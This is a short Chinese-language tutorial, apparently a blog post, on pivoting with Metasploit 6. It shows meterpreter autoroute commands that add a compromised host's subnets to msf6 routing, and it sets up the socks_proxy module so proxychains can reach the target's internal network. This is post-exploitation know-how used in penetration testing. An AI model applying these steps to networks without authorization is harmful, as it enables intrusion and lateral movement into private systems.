msf以前的代理方式已经官方提示,如果你这么使用提示就会出现
use auxiliary/server/socks4a
#就会提示
[!] *The module auxiliary/server/socks4a is deprecated! *
[!] *This module will be removed on or about 2020-12-29 *
[!] *Use auxiliary/server/socks_proxy and set VERSION to 4a *
也就是说20201229号就会移除这个代理模块,进而使用新的代理模块支持socks5代理
今天说一下,在meterpreter里面设置代理方法,进入对应的sessions后,执行
meterpreter > run get_local_subnets #查看目标路由段
meterpreter > run autoroute -s xx.xx.xx.xx/24 #将目标subnet(子网)路由添加到msf6本地
meterpreter > run autoroute -p #查看当前路由表信息
接下来,退出当前的sessions ,即backgroud后,在msf6命令行界面输入
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy #使用msf6代理模块
msf6 auxiliary(server/socks_proxy) > show options #查看代理模设置参数
msf6 auxiliary(server/socks_proxy) > set srvhost xx.xx.xx.xx #该msf6公网ip
msf6 auxiliary(server/socks_proxy) > set srvport xxxx 该msf6公网端口,默认协议socks5,也可以设置成4,这里随意
msf6 auxiliary(server/socks_proxy) > run
#最后提示[*] Auxiliary module running as background job 1.
#使用jobs命令即可查看当前代理所在后台的运行的id
以上说明运行成功,之后通过proxychains设置socks5代理,直接访问目标内网即可。